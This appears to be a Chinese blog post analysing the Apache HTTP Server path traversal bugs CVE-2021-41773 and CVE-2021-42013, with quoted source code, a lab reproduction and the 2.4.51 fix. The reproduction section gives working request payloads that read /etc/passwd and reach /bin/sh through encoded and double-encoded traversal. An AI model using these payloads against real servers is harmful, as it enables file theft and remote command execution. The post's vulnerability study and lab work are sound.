CVE-2021-41773/42013 apache路径穿越漏洞

影响范围

CVE-2021-41773 Apache HTTP server 2.4.49

CVE-2021-42013 Apache HTTP server 2.4.49/2.4.50

漏洞原理

Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径参数进行规范化时会先进行url解码,然后判断是否存在.../的路径穿越符,如下所示:

java 复制代码
while (path[l] != '\0') {
    if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
            && path[l] == '%' && apr_isxdigit(path[l + 1])
            && apr_isxdigit(path[l + 2])) {
        const char c = x2c(&path[l + 1]);
        if (apr_isalnum(c) || (c && strchr("-._~", c))) {
            /* Replace last char and fall through as the current
                * read position */
            l += 2;
            path[l] = c;
        }
    }
    ......

    if (w == 0 || IS_SLASH(path[w - 1])) {
        /* Collapse / sequences to / */
        if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) {
            do {
                l++;
            } while (IS_SLASH(path[l]));
            continue;
        }

        if (path[l] == '.') {
            /* Remove /./ segments */
            if (IS_SLASH_OR_NUL(path[l + 1])) {
                l++;
                if (path[l]) {
                    l++;
                }
                continue;
            }

            /* Remove /xx/../ segments */
            if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
                /* Wind w back to remove the previous segment */
                if (w > 1) {
                    do {
                        w--;
                    } while (w && !IS_SLASH(path[w - 1]));
                }
                else {
                    /* Already at root, ignore and return a failure
                        * if asked to.
                        */
                    if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                        ret = 0;
                    }
                }

当检测到路径中存在%字符时,如果紧跟的2个字符是十六进制字符,就会进行url解码,将其转换成标准字符,如%2e->.,转换完成后会判断是否存在.../。

如果路径中存在%2e./形式,就会检测到,但是出现.%2e/这种形式时,就不会检测到,原因是在遍历到第一个.字符时,此时检测到后面的两个字符是%2而不是./,就不会把它当作路径穿越符处理,因此可以使用.%2e/或者%2e%2e绕过对路径穿越符的检测。

2.4.50版本对ap_normalize_path函数进行修改,补充了如下代码,对.%2e的绕过形式进行了判断,可以避免使用该方法绕过。

java 复制代码
if ((path[n] == '.' || (decode_unreserved
    && path[n] == '%'
    && path[++n] == '2'
    && (path[++n] == 'e'
    || path[n] == 'E')))
    && IS_SLASH_OR_NUL(path[n + 1])) {
    /* Wind w back to remove the previous segment */
    if (w > 1) {
        do {
            w--;
        } while (w && !IS_SLASH(path[w - 1]));
    }
    else {
        /* Already at root, ignore and return a failure
            * if asked to.
            */
        if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
            ret = 0;
        }
    }
    /* Move l forward to the next segment */
    l = n + 1;
    if (path[l]) {
        l++;
    }
    continue;
}

但是由于在请求处理过程中,还会调用ap_unescape_url函数对参数再次进行解码,仍然会导致路径穿越。

在处理外部HTTP请求时,会调用 ap_process_request_internal函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path函数进行一次url解码,之后会调用ap_unescape_url函数进行二次解码,代码如下:

java 复制代码
/* This is the master logic for processing requests.  Do NOT duplicate
 * this logic elsewhere, or the security model will be broken by future
 * API changes.  Each phase must be individually optimized to pick up
 * redundant/duplicate calls by subrequests, and redirects.
 */
AP_DECLARE(int) ap_process_request_internal(request_rec *r)
{
    ......

    if (r->parsed_uri.path) {
        /* Normalize: remove /./ and shrink /../ segments, plus
         * decode unreserved chars (first time only to avoid
         * double decoding after ap_unescape_url() below).
         */
        if (!ap_normalize_path(r->parsed_uri.path,
                               normalize_flags |
                               AP_NORMALIZE_DECODE_UNRESERVED)) {
            ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244)
                          "invalid URI path (%s)", r->unparsed_uri);
            return HTTP_BAD_REQUEST;
        }
    }

    ......

    /* Ignore URL unescaping for translated URIs already */
    if (access_status != DONE && r->parsed_uri.path) {
        core_dir_config *d = ap_get_core_module_config(r->per_dir_config);

        if (d->allow_encoded_slashes) {
            access_status = ap_unescape_url_keep2f(r->parsed_uri.path,
                                                   d->decode_encoded_slashes);
        }
        else {
            access_status = ap_unescape_url(r->parsed_uri.path);
        }
        if (access_status) {
            if (access_status == HTTP_NOT_FOUND) {
                if (! d->allow_encoded_slashes) {
                    ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00026)
                                  "found %%2f (encoded '/') in URI path (%s), "
                                  "returning 404", r->unparsed_uri);
                }
            }
            return access_status;
        }

漏洞复现

环境:vulfocus漏洞集成靶场

1、开启靶场,访问ip抓取数据包

2、丢入repeater修改为payload

GET /icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

POST /cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1

3、开启42013的靶场,将%2e修改成%%32%65(2的ascii是32,e的ascii是65)

GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1

漏洞修复

2.4.51版本针对该漏洞进行了多处修改,最核心的一处修改是在ap_normalize_path函数中加强了对url编码的校验,如果检测到存在非标准url编码(%+两个十六进制字符)的情况,就返回编码错误,从根本上杜绝了多重编码可能导致的绕过,修复代码如下:

java 复制代码
while (path[l] != '\0') {
    /* RFC-3986 section 2.3:
        *  For consistency, percent-encoded octets in the ranges of
        *  ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
        *  period (%2E), underscore (%5F), or tilde (%7E) should [...]
        *  be decoded to their corresponding unreserved characters by
        *  URI normalizers.
        */
    if (decode_unreserved && path[l] == '%') {
        if (apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) {
            const char c = x2c(&path[l + 1]);
            if (TEST_CHAR(c, T_URI_UNRESERVED)) {
                /* Replace last char and fall through as the current
                    * read position */
                l += 2;
                path[l] = c;
            }
        }
        else {
            /* Invalid encoding */
            ret = 0;
        }
    }
相关推荐
小鑫记得努力7 分钟前
Java类和对象(下篇)
java
binishuaio11 分钟前
Java 第11天 (git版本控制器基础用法)
java·开发语言·git
zz.YE13 分钟前
【Java SE】StringBuffer
java·开发语言
老友@13 分钟前
aspose如何获取PPT放映页“切换”的“持续时间”值
java·powerpoint·aspose
wrx繁星点点28 分钟前
状态模式(State Pattern)详解
java·开发语言·ui·设计模式·状态模式
Upaaui31 分钟前
Aop+自定义注解实现数据字典映射
java
zzzgd81631 分钟前
easyexcel实现自定义的策略类, 最后追加错误提示列, 自适应列宽,自动合并重复单元格, 美化表头
java·excel·表格·easyexcel·导入导出
友善的鸡蛋33 分钟前
解决:使用EasyExcel导入Excel模板时出现数据导入不进去的问题
java·easyexcel·excel导入
星沁城33 分钟前
240. 搜索二维矩阵 II
java·线性代数·算法·leetcode·矩阵
NoneCoder1 小时前
Java企业级开发系列(1)
java·开发语言·spring·团队开发·开发